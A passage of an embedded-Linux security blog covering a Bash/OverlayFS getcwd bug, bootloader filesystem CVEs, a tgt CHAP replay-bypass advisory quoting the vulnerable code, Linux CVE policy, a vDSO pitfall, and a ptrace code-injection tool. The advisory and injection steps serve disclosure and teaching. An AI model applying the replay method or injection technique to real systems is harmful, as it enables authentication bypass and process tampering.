We discovered that Bash becomes problematic in cross-compilation environments. Since Bash is cross-compiled for ARM in this specific setup, this made sense. We then wondered why this issue wasn’t more widespread. After all, both Bash and OverlayFS are common in embedded systems.

Next, we looked into how major embedded Linux projects like Yocto handle cross-compiling Bash. Although the Bash Yocto recipe didn’t mention getcwd, we found this line in meta/site/common-glibc:

bash_cv_getcwd_malloc=${bash_cv_getcwd_malloc=yes}

Yocto explicitly overrides the test result to avoid the fallback. The embedded Linux build system we used didn’t apply such a workaround. This clarified the issue. After we implemented a similar override, the issue vanished.

Root Cause Analysis

At this point, we had identified and fixed the bug. But several questions remained:

Why did the issue appear only with OverlayFS?
Why did Bash’s fallback getcwd() fail?

During testing, we observed another error message:

shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Success

This indicated that errno was sometimes set to 0, suggesting no error occurred, yet getcwd() still failed.

OverlayFS and Inode Numbers

To answer the remaining questions, we analyzed Bash’s getcwd() implementation. On Linux, you can determine the current working directory in two ways:

Use the getcwd() system call
Read the /proc/self/cwd symlink

Bash’s implementation used neither, aiming to support systems lacking these features. In fact, the fallback dates back to the last millennium. It used a classic Unix algorithm to reconstruct the working directory path:

It calls stat(".") to obtain the inode number of the current directory.
It calls readdir("..") to read the parent directory’s entries.
It compares inode numbers to identify "."’s name.

It repeats this process recursively to climb the full path.

Note that this simplified description omits many details. In practice, you must evaluate both inode (st_ino) and device (st_dev) to work across mount points.

Tracing revealed that the fallback getcwd() failed on the very first path component. stat(".")⁴ returned an inode number N, but readdir("..")⁵ returned no matching directory with inode number N.

OverlayFS merges two directories, a lower (read-only) and an upper (writable) layer. When calling readdir() on a directory, OverlayFS combines entries from both layers without performing full lookups. It returns the underlying inode numbers directly, unmodified.

This design means that inode numbers from readdir() don’t guarantee uniqueness or stability in the merged view. Two entries might even share an inode number without being hard links. OverlayFS uses this approach to provide fast directory listings, performing a full lookup for each entry would incur performance penalties.

Conversely, stat() triggers a full lookup. OverlayFS allocates an inode object that provides stable and unique inode numbers. That stability is crucial for tools like find or du.

Bash’s fallback getcwd() assumes that the inode from stat() matches one returned by readdir(). OverlayFS breaks that assumption.

We eventually realized that OverlayFS documentation acknowledges this limitation: For directories, the inode number from readdir() may not match the number from stat().

The Role of the xino Feature

OverlayFS can deliver stable inode numbers via readdir() when the xino feature is active. 64-bit systems can encode extra data (e.g., instance numbers) into inode fields to prevent collisions. This works without requiring a full lookup and does not hurt readdir() performance.

However, 32-bit systems lack this space and the xino feature it not available. We encountered the original problem on a 32-bit ARM platform, which explained why the issue occurred there.

Incorrect Use of `readdir()` in Bash

One question remained: why did getcwd() sometimes fail with ENOTTY?

Upon inspecting Bash’s getcwd(), we noticed it misused readdir() slightly:

readdir() returns NULL both on EOF and on error.
To distinguish between an error condition and the end of the directory list, the caller must set errno to zero before calling readdir().
If readdir() returns NULL and errno == 0, it means EOF.
Bash forgot to reset errno before the call. For about 30 years, no one noticed.

As a result, when readdir() returned NULL with no match, Bash incorrectly assumed an error. It returned NULL and left errno in an undefined state. Sometimes, ENOTTY from a previous system call remained, producing misleading errors.

We have reported the issue to the GNU Bash project.

Conclusion

This bug hunt revealed several contributing factors:

A misconfigured cross-compilation environment caused Bash to use its fallback getcwd().
OverlayFS introduced subtle inode behavior differences, especially on 32-bit systems.
Bash’s fallback getcwd() relied on assumptions that failed with OverlayFS.
A decades-old oversight in Bash’s error handling created misleading errno values.

While we resolved the issue with a simple build tweak, the investigation highlighted deeper lessons about portability assumptions, legacy code, and filesystem complexity.

Filesystem Vulnerabilities in Bootloaders: A Hidden Risk for Verified Boot Mechanisms

Richard Weinberger — Mon, 27 Jan 2025 00:00:00 +0100

Filesystem Vulnerabilities in Bootloaders: A Hidden Risk for Verified Boot Mechanisms

In modern IoT systems, particularly those using Linux-embedded devices, ensuring the integrity and trustworthiness of the boot process has become increasingly critical. Verified boot mechanisms, often referred to as trusted or secure boot, serve as the cornerstone of device security by guaranteeing that only signed and authenticated code is executed during the boot process. This mechanism is vital for protecting sensitive functions such as data encryption, authentication, and the overall integrity of IoT devices.

It’s important to recognize that if your IoT system does not implement verified boot, the identified vulnerabilities may not pose a direct risk. In such cases, attackers can manipulate persistent program code at any time, rendering those specific vulnerabilities irrelevant.

Introduction

The verified boot process ensures that each stage of the system’s boot sequence is authenticated and trusted. At a high level, the process involves the following steps:

Boot ROM Validation: The system-on-chip (SoC)’s boot ROM initiates the boot process by loading a signed bootloader, establishing the first layer of trust.
Bootloader Verification: The bootloader, commonly U-Boot or Barebox, loads critical components such as the Linux kernel, device tree, and initramfs from the filesystem, verifying their signatures to ensure authenticity.
Linux Execution: Once the verified kernel is booted, the system executes the application code. The Linux kernel continues enforcing security by authenticating files loaded from the filesystem.

This sequence forms a chain of trust, where each stage verifies the integrity of the next. If any part of this chain is compromised, attackers could gain the ability to execute arbitrary code, extract sensitive data, or impersonate the device. Such vulnerabilities pose significant risks, as they allow adversaries to install malicious code on the device whenever sufficient access is obtained.

Critical Code Paths

Every step in the chain of trust involves processing and validating potentially malicious input. For instance, the boot ROM often parses a SoC vendor-specific data structure containing the bootloader and its signature. A vulnerability in this code path could allow attackers to bypass the chain of trust and execute arbitrary code. Such vulnerabilities have been identified in the boot ROM of certain NXP SoCs.

Another well-known critical point is the bootloader. Depending on the bootloader and operating system, essential files like the kernel or configuration files must be parsed and verified. An example of a vulnerability in this area is the infamous BootHole flaw in the GRUB2 bootloader, which exposed systems to significant security risks.

Filesystem Vulnerabilities in Bootloaders: A Hidden Risk

Bootloaders such as U-Boot and Barebox are widely used in IoT systems because of their maturity, rich feature sets, and strong community support. Both bootloaders incorporate robust mechanisms for verified boot, enabling them to authenticate the files they load, including the kernel and configuration files.

However, an initial audit of their verified boot implementations has revealed a frequently overlooked vulnerability: the filesystem implementation itself.

Filesystems as a Threat Vector

Most bootloaders support a variety of filesystems, such as ext4, FAT, SquashFS, and UBIFS. However, these implementations are often ad hoc and lack key features. This is primarily because bootloaders operate in highly constrained environments, with no support for concurrency and access to minimal resources. As a result, complete filesystem implementations are unnecessary for bootloaders; they only need to be functional enough to read files from a filesystem, nothing more.

A key task of a filesystem implementation is to parse the filesystem data structures stored on a storage medium, interpret them meaningfully, and present the logical files to higher layers. In a verified boot setup using bootloaders like U-Boot or Barebox, while the contents of files are authenticated, the filesystem data structures themselves are typically not. This opens an attack vector where an attacker could craft malicious filesystem structures that bypass authentication checks and exploit bugs in the filesystem driver implementation. By corrupting filesystem metadata, attackers can compromise the chain of trust, enabling arbitrary code execution or further exploitation.

We have identified the following vulnerabilities that are directly or indirectly associated with filesystem implementations in the Barebox and U-Boot bootloaders:

CVE-2024-57254: Integer overflow in U-Boot’s SquashFS symlink size calculation function
CVE-2024-57255: Integer overflow in U-Boot’s SquashFS symlink resolution function
CVE-2024-57256: Integer overflow in U-Boot’s ext4 symlink resolution function
CVE-2024-57257: Stack overflow in U-Boot’s SquashFS symlink resolution function
CVE-2024-57258: Multiple integer overflows in U-Boot’s memory allocator
CVE-2024-57259: Heap corruption in U-Boot’s SquashFS directory listing function
CVE-2024-57260: Multiple vulnerabilities in Barebox’s SquashFS due to missing patches from Linux
CVE-2024-57261: Integer overflow in Barebox’s memory allocator
CVE-2024-57262: Integer overflow in Barebox’s SquashFS symlink resolution function

As of this writing, all identified issues have been resolved in Barebox version v2025.01.0 and U-Boot version v2025.01-rc1.

The vulnerabilities allow an attacker with access to the storage medium to modify filesystem structures in a manner that enables the execution of untrusted code. CVE-2024-57256, in particular, is a significant target, as it provides an attacker with essentially unrestricted access to U-Boot’s memory. Some might question the relevance of CVE-2024-57257 and CVE-2024-57258 in this attack scenario. Both Barebox and U-Boot allocate buffers to store filesystem data, with the buffer sizes determined by the size attributes of the filesystem structures. Since attackers can manipulate these size attributes, they can trigger integer overflows in the memory allocators. This leads to buffer overflows when the allocators allocate less memory than required for the copied data.

Impact of These Vulnerabilities

The impact of these vulnerabilities varies depending on your threat model, ranging from none to critical. If you are not using any verified boot technology, these vulnerabilities are unlikely to pose a security issue for you. However, if the integrity of your product relies on verified boot mechanisms, an attacker could potentially exploit these vulnerabilities to compromise the chain of trust.

The Situation on Linux

One might wonder about the situation on Linux. A filesystem implementation bug in Linux would, of course, also be problematic. However, the situation on Linux is generally better for two key reasons:

Better Testing: Filesystems in Linux undergo more rigorous testing, including regular fuzz testing, which helps uncover and fix potential bugs. AFL fuzz testing uncoverered many bugs in Linux.
Enhanced Protection: In a verified boot setup, filesystems used by the Linux kernel are typically protected by mechanisms like dm-verity or dm-integrity. These provide full filesystem integrity in addition to encryption. As a result, a crafted filesystem would be detected early at the block layer, mitigating the risk of exploitation.

Conclusion

As IoT systems continue to proliferate, ensuring the integrity of the verified boot process becomes increasingly critical. Filesystems, often overlooked in the chain of trust, can represent a significant vulnerability in bootloader security. We hope that filesystem implementations in bootloaders receive more thorough testing in the future to enhance their robustness and reliability.

sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)

Richard Weinberger — Sat, 07 Sep 2024 00:00:00 +0200

sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)

Summary

The user-space iSCSI target daemon of the Linux target framework (tgt) uses an insecure random number generator to generate CHAP authentication callenges. This results in predictable challenges which an attacker capable of recording network traffic between iSCSI target and initiator can abuse to bypass CHAP authentication by replaying previous responses.

Identifier: sigma-star-sa-2024-001
Type of vulnerability (CWE): Use of cryptographically weak pseud-random number generator (CWE-338)
Vendor: -
Product/Software: The Linux target framework (tgt)
Affected versions: <= 1.0.92
Fixed versions: 1.0.93
CVE ID: CVE-2024-45751

Affected Product and Vendor

The Linux target framework (tgt) is a user space SCSI target framework that supports the iSCSI and iSER transport protocols and that supports multiple methods for accessing block storage. Tgt consists of user-space daemon and tools.

Source: https://github.com/fujita/tgt/blob/e393a80b02b8cb90709c75f9bd91542ea3a78d58/README.md

Description

tgt supports CHAP for authenticating initiators. As defined in the CHAP specification the target generates a random challenge and sends it to the initiator. tgt fails to use a cryptographically secure random number generator for this. Instead it simply uses the rand() call without setting a seed using srand() first. Thus the default seed (equivalent to srand(1)) will be used. This results in a predictable sequence of numbers being returned by subsequent calls to rand().

Note that even though tgt generates a random length for each challenge, this does not affect the predictability of challenges as these lengths will also be generated using predictable output of rand().

static int chap_initiator_auth_create_challenge(struct iscsi_connection *conn)
{
	char *value, *p;
	char text[CHAP_CHALLENGE_MAX * 2 + 8];
	static int chap_id;
	int i;

	[...]

	/*
	 * FIXME: does a random challenge length provide any benefits security-
	 * wise, or should we rather always use the max. allowed length of
	 * 1024 for the (unencoded) challenge?
	 */
	conn->auth.chap.challenge_size = (rand() % (CHAP_CHALLENGE_MAX / 2)) + CHAP_CHALLENGE_MAX / 2;

	conn->auth.chap.challenge = malloc(conn->auth.chap.challenge_size);
	if (!conn->auth.chap.challenge)
		return CHAP_TARGET_ERROR;

	p = text;
	strcpy(p, "0x");
	p += 2;
	for (i = 0; i < conn->auth.chap.challenge_size; i++) {
		conn->auth.chap.challenge[i] = rand();
		sprintf(p, "%.2hhx", conn->auth.chap.challenge[i]);
		p += 2;
	}
	text_key_add(conn, "CHAP_C",  text);

	return 0;
}

Source: https://github.com/fujita/tgt/blob/v1.0.92/usr/iscsi/chap.c#L333

Impact

An attacker who is able to recording network traffic between iSCSI target and initiator can apply a replay attack to bypass the CHAP authentication. All the attacker has to do is wait for the server or the service to restart and replay with a previously record CHAP session which fits into the sequence.

Having bypassed CHAP authentication, an attacker has full user privileges and can modify the iSCSI target at will within that user privileges.

Mitigation

We recommend replacing the pseudo-random number generator (rand()) with getrandom()as this will yield cryptographically secure pseudo-random numbers fitting for CHAP challenges.

Version 1.0.93 contains this fix.

Patches

https://github.com/fujita/tgt/pull/67/commits/abd8e0d987ab56013d360077202bf2aca20a42dd (chap: Use proper entropy source)

Disclosure Timeline

2024-09-03: Vulnerability disclosed to vendor
2024-09-04: Vendor requested full disclosure
2024-09-04: Patch submitted to vendor and version 1.0.93 released by vendor
2024-09-07: Advisory published

Credits

Richard Weinberger (sigma star gmbh)
David Gstir (sigma star gmbh)

Thoughts on Linux CNA's Approach and the Resulting CVE Flood

Richard Weinberger — Wed, 13 Mar 2024 00:00:00 +0100

Thoughts on Linux CNA’s Approach and the Resulting CVE Flood

Recently, the Linux Kernel Project attained the status of a CNA¹ (CVE Numbering Authority), granting it the capability to independently issue CVEs (Common Vulnerabilities and Exposures). While this development may seem unremarkable, the substantial increase in the number of newly assigned CVEs raises many questions. I’ve received numerous inquiries from people seeking clarification and expressing concern about the apparent surge in the issuance of CVE numbers for almost every non-trivial patch applied to the maintained stable kernel trees.

It appears that there is a diversity of interpretations regarding what qualifies as a CVE and what does not. In this blog post, I aim to articulate some personal reflections on this situation.

Understanding Vulnerabilities

Assigning a CVE doesn’t always mean a critical issue that every user must quickly address.

Let’s take a look at what cve.org says about what qualifies as a vulnerability. The CNA rules² are:

7.1.1 If a product owner considers an issue to be a vulnerability in its product, then the issue MUST be considered a vulnerability, regardless of whether other parties (e.g., other vendors whose products share the affected code) agree.

7.1.2 If the CNA determines that an issue violates the security policy of a product, then the issue SHOULD be considered a vulnerability.

7.1.3 If a CNA receives a report about a new vulnerability that has a negative impact, then the reported vulnerability MAY be considered a vulnerability.

The Linux Kernel CNA³ itself states:

As part of the normal stable release process, kernel changes that are potentially security issues are identified by the developers responsible for CVE number assignments and have CVE numbers automatically assigned to them. These assignments are published on the linux-cve-announce mailing list as announcements on a frequent basis.

Note, due to the layer at which the Linux kernel is in a system, almost any bug might be exploitable to compromise the security of the kernel, but the possibility of exploitation is often not evident when the bug is fixed. Because of this, the CVE assignment team is overly cautious and assign CVE numbers to any bugfix that they identify. This explains the seemingly large number of CVEs that are issued by the Linux kernel team.

So, the Kernel CNA adheres to rule 7.1.3 of cve.org, indicating that any patch addressing a bug with potential negative impacts receives a CVE. This doesn’t necessarily imply that the bug is exploitable, but it could be exploited by someone with malicious intent as part of an exploit chain. Modern exploits often consist of a complex chain that utilizes numerous small bugs.

It’s important to note that the Kernel CNA lacks context on individual system usage or threat models. Therefore, the CNA cannot determine if you prioritize bugs that can be triggered remotely or care about those only the root user can activate. The ultimate decision on whether a CVE is relevant to your system lies with you or your Linux vendor.

Let’s Take a Closer Look

Many people express concern that almost every bug fix receives a CVE, suggesting that the Kernel CNA should limit CVE assignments to bug fixes addressing security issues. However, distinguishing between a regular bug fix and a security bug fix can be challenging, especially for a foundational component like the monolithic UNIX kernel. Let’s examine the last few CVEs in my linux-cve-announce mailbox.

CVE-2023-52589: media: rkisp1: Fix IRQ disable race issue

The rkisp1 media driver for RockChip SoCs suffers from a bug in interrupt handling which can lockup (deadlock) the kernel. If the attacker can control the driver or the media stream a DoS situation could occur.

CVE-2023-52591: reiserfs: Avoid touching renamed directory if parent does not change

The bug fix addresses a locking issue in the reiserfs filesystem. It does not correctly use the Linux VFS interface which could lead to a corrupted filesystem. A local attacker could trigger this and corrupt data on disk.

CVE-2023-52590: ocfs2: Avoid touching renamed directory if parent does not change

Fixes the same as CVE-2023-52591 but in the ocfs2 filesystem.

CVE-2024-26626: ipmr: fix kernel panic when forwarding mcast packets

This fix addresses a potential kernel panic caused by a NULL pointer dereference when forwarding multicast IP packets. The NULL pointer dereference could result in a simple denial-of-service (DoS) attack, but it could escalate to something more serious if it is a use-after-free issue. Despite multicast routing is typically disabled by default on Linux, this case still qualifies for a CVE due to its potential impact when enabled.

CVE-2024-26628: drm/amdkfd: Fix lock dependency warning

Linux’s lock checker identified an invalid lock state within a GPU driver, and the patch addresses this issue by restructuring certain code paths. While this problem is probably not exploitable on its own, it could potentially assist a local attacker in exploiting undefined behavior resulting from the invalid lock state. It’s important to note that for this to be a concern, the specific GPU driver in question must be in use on the target system.

CVE-2024-26627: scsi: core: Move scsi_host_busy() out of host lock for waking up EH handler

In this scenario, a bug within the SCSI library in the kernel is addressed. This bug has the potential to cause a kernel lockup, akin to a deadlock, especially when there is an abundance of SCSI requests in progress in a specific configuration. This situation could result in a Denial of Service (DoS) scenario if an attacker can control the amount of SCSI requests.

Arguably, except for CVE-2024-26626, none of the aforementioned CVEs appear particularly dangerous at first glance. However, it’s crucial to recognize that each bug fix behind these CVEs addresses an issue resulting in undefined behavior. For a skilled attacker, any of these bugs could serve as a useful building block.

Linux’s Approach

As I see it, the approach adopted by the Linux Kernel CNA is refreshingly honest. It may be surprising because other projects or vendors, especially proprietary ones, often take the opposite approach, attempting to avoid assigning a CVE unless it’s unequivocally clear that a bug is exploitable. The reluctance of some vendors to assign new CVEs has led to the emergence of projects like !CVE. This highlights a conceptual challenge with CVEs—they are a somewhat generic tool, and various interpretations exist regarding what qualifies as a CVE. For those accustomed to few CVEs being issued, each describing an independently exploitable bug, the Linux kernel CNA’s approach may be unexpected.

Dealing with the CVE Flood

CVEs serve as a widely-used metric to signal when a specific software component has received a security fix, prompting the need for an update in products or software built upon it. However, as a vendor, delivering updates can be challenging, and customers may not always be enthusiastic about installing them unless absolutely necessary. This reluctance often leads product maintainers to prefer CVEs for severe and demonstrably exploitable issues. Furthermore, security scanners tend to flag any CVE associated with a particular software version, but they lack awareness of your kernel configuration or loaded drivers, just like the kernel CNA. Ultimately, determining the relevance of a CVE rests with you. When in doubt, it’s prudent to consider yourself affected.

To effectively manage the influx of CVEs, consider the following:

Always use a recent and supported kernel, such as a Long-Term Support (LTS) version.
Establish a robust update strategy with rollback capabilities.
Keep your customizations atop the kernel minimal and well maintained to minimize disruptions during upgrades.
Whenever possible, contribute your changes upstream to keep your patch queue slim.
Familiarize yourself with your kernel configuration, including enabled config options and used drivers. For instance, if you’re not using reiserfs, CVE-2023-52591 may not be applicable to your system…
Understand your threat model; Can you trust local users or even the root user? This knowledge informs your risk assessment and response to potential vulnerabilities.

It should also be noted that the increased number of CVEs does not necessarily imply that Linux is less secure than before. The surge simply provides greater insight and transparency into issues that could potentially impact security. Previously, you would have had to monitor each bug fix manually.

Is My Kernel Affected by a CVE? - A Rough Metric

The Linux kernel is highly configurable at build time, there is a good chance that many CVEs affect code your kernel build doesn’t has enabled. By looking at the affected files list of a bug fix for a CVE you can check whether the patched files are actually part of your kernel build. If they are not, the bug fix is unlikely to affect you.

Let’s use CVE-2024-26628 as example. The Affected files section states drivers/gpu/drm/amd/amdkfd/kfd_svm.c, so if this file is part of your kernel build, you’re affected.

Recent kernels allow creating a compile_commands.json file like many other build systems do. By checking this JSON file it is possible to see whether a particular file will be build.

$ make compile_commands.json
$ jq '.[] | .file' compile_commands.json | grep drivers/gpu/drm/amd/amdkfd/kfd_svm.c

Ideally, you store compile_commands.json after every build somewhere, then you can quickly check without needing the kernel build directory.

In case your kernel is too old to have compile_commands.json, you can still check after a build by searching for the object file. Replace the .c suffix with .o and search in the build directory for it.

Please keep in mind that this all works only if you’re using a kernel version that is still supported.

Conclusion

The Linux CNA intentionally adopts an overly cautious approach and assigns a new CVE when in doubt. While this may surprise many, it is a perfectly legitimate and entirely honest strategy. In contrast, vendors of proprietary software often tend to take the opposite approach, minimizing the assignment of CVEs whenever possible. Effectively managing the substantial number of CVEs involves understanding your kernel configuration, having a clear threat model, and ensuring the ability to update the kernel as needed. I hope that other large projects will eventually adopt Linux’s approach.

Pseudo Graceful Process Termination through Code Injection

Richard Weinberger — Sun, 25 Feb 2024 00:00:00 +0100

Pseudo Graceful Process Termination through Code Injection

Introduction

On UNIX systems, terminating programs involves sending signals, such as SIGTERM or SIGKILL¹, to the target process. SIGTERM allows a process to gracefully handle the termination signal, whereas SIGKILL abruptly ends the process. After termination, the parent process takes charge by reading the exit status and acting accordingly. An exit code of 0 signifies success, whereas other codes denote failures, including termination by a signal or application errors.

However, what if the need arises to forcefully terminate a process, disguising it as a successful exit? I came across this need recently while observing a long-running process that blocked further work. It made no progress, and I was tempted to just kill² it. Since the parent process would detect the non-zero exit code, there was a high likelihood of making things worse.

This got me thinking - how can we build a tool to stop a process forcefully but make it look like a successful termination? As far as I know, Linux doesn’t provide an API to perform such a kill. So I decided to take a different route and make the process terminate itself with a zero exit code using code injection.

The Plan

Linux offers multiple APIs to alter the memory of a process. You can use the ptrace()³ and process_vm_writev()⁴ system calls or access /proc/PID/mem⁵. Internally, all of them utilize the process tracing and debugging subsystem. The most basic access API is ptrace(), which allows word wise access, process_vm_writev() is ideal if you need to transfer more data and want to use fewer system calls. And finally, /proc/PID/mem lets you treat foreign memory like a file.

The plan is to stop all threads of the target program, identify a memory location where we can write code, and make one thread execute the exit_group()⁶ system call with an exit code of zero. Since we aim for a graceful exit, the program must not crash or exhibit undefined behavior as soon as we start editing the executing code. It is crucial to halt all threads of the program before altering the program code. Remote memory allocation into a process is not possible, so we need to modify existing memory.

Stopping only one thread carries the risk that another thread may concurrently execute code in the area we are changing, triggering an access or illegal instruction exception. Therefore, it is necessary to stop all threads to ensure a smooth modification process.

Step 1: Finding and Seizing all Threads

Linux exposes all thread IDs of a process via /proc/PID/task/, allowing us to iterate over the list and stop each one. It is important to repeat this process until no new threads appear. There is always a possibility that a thread is creating a new one while we are scanning. Additionally, we need to handle the scenario where threads exit while we are scanning the list.

Once we find a non-stopped thread, we apply the ptrace() operations PTRACE_SEIZE and PTRACE_INTERRUPT. PTRACE_SEIZE attaches us to the thread and enables further ptrace() operations. PTRACE_INTERRUPT ensures that the current system call is aborted, causing the thread to enter the stop state.

Step 2: Finding a Suitable Memory Location

After stopping all threads, the next step is to find a suitable location to write our code. Saving the thread’s current CPU register set using PTRACE_GETREGSET is crucial for this step. From the register set, we can determine where the program counter was when we seized and interrupted the thread. It is safe to assume that the program counter will point to a memory location that is executable. Therefore, the memory page the program counter points to is guaranteed to be executable, and we can place our code there.

However, one corner case to consider is if the program counter is near the end of the page, the injected code could overlap into the next adjacent page. The adjacent page might be non-executable or not even present. To avoid this scenario, we rewind the program counter to the beginning of the page. It’s important to note that this approach works only if the code to be injected is smaller than the size of a page.

Step 3: Injecting Code

Now it is time to think about what code to inject. Our goal is to have a thread inside the target process to execute the group_exit() system call. For a x86_64 system the assembly code could look like that:

mov $231, %rax	; __NR_exit_group
mov $0, %rdi	; 1st parameter to exit_group is 0
syscall		; Fire system call

Since the first two instructions set up only the system call parameters⁷, it is also possible to set all registers needed for the system call setup using the saved register set. That way only one instruction opcode needs to be written into the memory of the target process. So, the only code to write is the system call opcode. For x86_64 it is 0x0f, 0x05.

We could even go a step further and execute the system call without writing to any memory location at all. By analyzing /proc/PID/maps of the target process it is possible to scan every memory mapping that has the executable bit set for the syscall opcode and make the program counter point to it. The drawback of this approach is that searching for the syscall opcode might take a long time because a significant amount of memory needs to be searched.

The final approach is:

Rewind the program counter to the beginning of the current page.
Set the saved registers according to the Linux syscall ABI⁷.
Write the syscall opcode into the executable page.
Restore the registers using PTRACE_SETREGSET.
Continue the thread using PTRACE_CONT.

The attentive reader may wonder how it’s possible to write to an executable page when most memory areas in Linux are set as read-only. The answer is that these restrictions apply only to userspace. Since we’re writing through the kernel, we can easily alter read-only areas.

Once the thread is resumed, it will execute from the new program counter location. The syscall opcode will transition to kernel context and execute the exit_group() system call as configured in the register set.

For x86_64, one anomaly to consider is if the thread was executing a system call when we interrupted it; the kernel may attempt to restart the system call after PTRACE_CONT. To disable the system call restart mechanism, we need to set the orig_rax⁸ pseudo register in the saved register set to -1.

The Result

The end result is a tool called exit0, compatible with both x86_64 and AArch64 architectures. The only command-line parameter it requires is the target process ID. It is capable of terminating any process for which the caller has ptrace() permissions, with an exit code of 0.

Summary

Code injection is not a straightforward technique and should be employed with caution. However, it is not exclusively used by malicious programs. Similar to exit0, there are legitimate use cases. exit0 can be viewed as a proof of concept. The assessment of its utility or potential danger is subjective and depends on the reader’s perspective.

A Time Consuming Pitfall for 32-bit Applications on AArch64

Richard Weinberger — Wed, 14 Feb 2024 00:00:00 +0100

A Time Consuming Pitfall for 32-bit Applications on AArch64

It’s common to run 32-bit legacy applications on 64-bit Linux systems. Similar to many other architectures, AArch64 (referred to as arm64 in the context of Linux) also supports this. When you build the Linux kernel for this scenario, you have to enable the CONFIG_COMPAT option in the kernel config.

However, there’s one potential issue I’d like to highlight. Unlike on x86_64, where the same GCC toolchain can generate both 64-bit and 32-bit programs (controlled by the -m32 switch), AArch64 requires two separate GCC toolchains. So, what’s the challenge when running a 64-bit kernel? The problem lies in the virtual dynamic shared object (vDSO)¹. To support a vDSO for 32-bit ARM applications, the kernel requires a second toolchain during the build process.

If you simply enable CONFIG_COMPAT without setting up CROSS_COMPILE_COMPAT to an AArch32 cross compiler, the resulting kernel won’t supply a vDSO to 32-bit applications. While these applications will run smoothly, they won’t enjoy the advantages of the vDSO.

On the other hand, if you’re building the kernel with clang, setting CROSS_COMPILE_COMPAT is not needed. This is because the same clang toolchain can produce code for different CPU architectures.

The Role of the vDSO

The vDSO provides the functionality of specific syscalls without requiring a switch into the kernel context. Instead, the kernel places sufficient information into a memory region accessible to userspace to achieve the same functionality. An example of this is the gettimeofday(2)² system call. Utilizing the vDSO for querying the current time eliminates the need for a context switch, resulting in a faster operation.

This is where forgetting to set CROSS_COMPILE_COMPAT can have a significant impact. If you solely rely on CONFIG_COMPAT without configuring CROSS_COMPILE_COMPAT, your legacy application will incur a context switch for each gettimeofday(2) call. While most applications may not be affected, those with strict time constraints requiring frequent timestamp retrieval, such as real-time applications, could face issues due to this.

I encountered this issue when I observed the absence of the vDSO for a legacy application on an AArch64-platform and became curious about its impact. To assess the effect, I conducted a small benchmark. The benchmark involves querying the current time using gettimeofday(2) 500000 times on a Raspberry Pi 3 B+, comparing the performance with and without the presence of a vDSO.

#include 
#include 

int main(void)
{
        struct timeval tv1, tv2, tvtmp;
        unsigned long total;
        int i;

        gettimeofday(&tv1, NULL);
        for (i = 0; i < 500000; i++) {
              gettimeofday(&tvtmp, NULL);
        }
        gettimeofday(&tv2, NULL);

        total = ((tv2.tv_sec * 1000000) + tv2.tv_usec) - ((tv1.tv_sec * 1000000) + tv1.tv_usec);
        printf("%ld\n", total);

        return 0;
}

Test	Duration (us)
without vDSO	1905827
with vDSO	68856

As illustrated, the benchmark runs more than 25 times slower without the vDSO.

Integrating `CROSS_COMPILE_COMPAT` Support into Yocto

Fixing the problem for my current project turned out to be a little more work, and in this case, I used Yocto. I found out the hard way that nobody else had considered CROSS_COMPILE_COMPAT before me. So, I had to patch the kernel bitbake class in Yocto to be able to use the second 32-bit toolchain while building the kernel.

diff --git a/meta/classes-recipe/kernel.bbclass b/meta/classes-recipe/kernel.bbclass
index 16b85dbca4..6fcbb1e41b 100644
--- a/meta/classes-recipe/kernel.bbclass
+++ b/meta/classes-recipe/kernel.bbclass
@@ -208,6 +208,39 @@ PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-module-.*"
 PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-image-.*"
 PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-firmware-.*"
 
+def get_arm32_prefix(d):
+    arm_prefix = ''
+
+    if d.getVar('TARGET_ARCH').startswith('aarch64'):
+        pfxs = all_multilib_tune_values(d, 'TARGET_PREFIX').split()
+        for p in pfxs:
+           if p.startswith("arm-"):
+               arm_prefix = p
+
+    return arm_prefix
+
+def arm32_full_prefix(d):
+    pfx = get_arm32_prefix(d)
+    if pfx == '':
+        return ''
+
+    ps = all_multilib_tune_values(d, 'STAGING_BINDIR_TOOLCHAIN').split()
+    for p in ps:
+        if p.endswith(pfx[:-1]):
+            return p + '/' + pfx
+
+    return ''
+
+def arm32_gcc_dep(d):
+    pfx = get_arm32_prefix(d)
+    if pfx != '':
+        return 'virtual/' + pfx + 'gcc'
+    else:
+        return ''
+
+DEPENDS += "${@arm32_gcc_dep(d)}"
+export CROSS_COMPILE_COMPAT="${@arm32_full_prefix(d)}"
+
 export OS = "${TARGET_OS}"
 export CROSS_COMPILE = "${TARGET_PREFIX}"

My patch³ is currently under review, and I’m hopeful that it will be merged soon.

Checking for the Availability of a vDSO

If you’re not sure whether a program can benefit from a vDSO, Linux offers multiple ways to check. Linux exposes the address of the vDSO via the auxiliary vector AT_SYSINFO_EHDR; this way, even statically linked programs can find and load the vDSO. Using the glibc helper function getauxval(3)⁴, a program can check itself whether a vDSO is available. The following snippet shows how:

#include 
#include 

int main(void)
{
        if (getauxval(AT_SYSINFO_EHDR))
                printf("vDSO available!\n");
        else
                printf("No vDSO available!\n");

        return 0;
}

If the program is dynamically linked, the environment variable LD_SHOW_AUXV⁵ can be used to dump the auxiliary vector before the program is executed. If AT_SYSINFO_EHDR shows up, a vDSO is available.

root@target:~# LD_SHOW_AUXV=1 /bin/program
[...]
AT_SYSINFO_EHDR:      0xf7f6a000
[...]
root@target:~#

Summary

When building an AArch64 kernel intended to run legacy applications, ensure that CROSS_COMPILE_COMPAT is directed to a 32-bit toolchain. Failure to do so might lead to performance issues. Additionally, confirm that the build system you are using supports the configuration of CROSS_COMPILE_COMPAT. As of today, neither Yocto (actually OpenEmbedded), Buildroot, nor PTXdist sets CROSS_COMPILE_COMPAT.

Investigating Paranormal Shell Activities

Richard Weinberger — Fri, 17 Nov 2023 00:00:00 +0100

Investigating Paranormal Shell Activities

Recently, while attending a conference, I observed an unusual occurrence in my terminal emulator: terminal tab windows were getting highlighted without any apparent notification within the shell session. Time to unpack our trusty debugging tools to uncover the mystery behind these activities.

Once a tab encountered this issue, it persisted in being highlighted until I closed the affected tab and opened a new one. Another peculiar symptom manifested when certain terminal applications, running within the affected (or possibly infected?) terminal, displayed strange sequences of characters like ^I^O^I^O. Given that the conference I was attending focused on security, my heightened awareness prompted me to investigate the root cause of this issue. Upon returning to my hotel room, I delved further into the matter, particularly after noticing that additional tabs were affected by the highlighting problem.

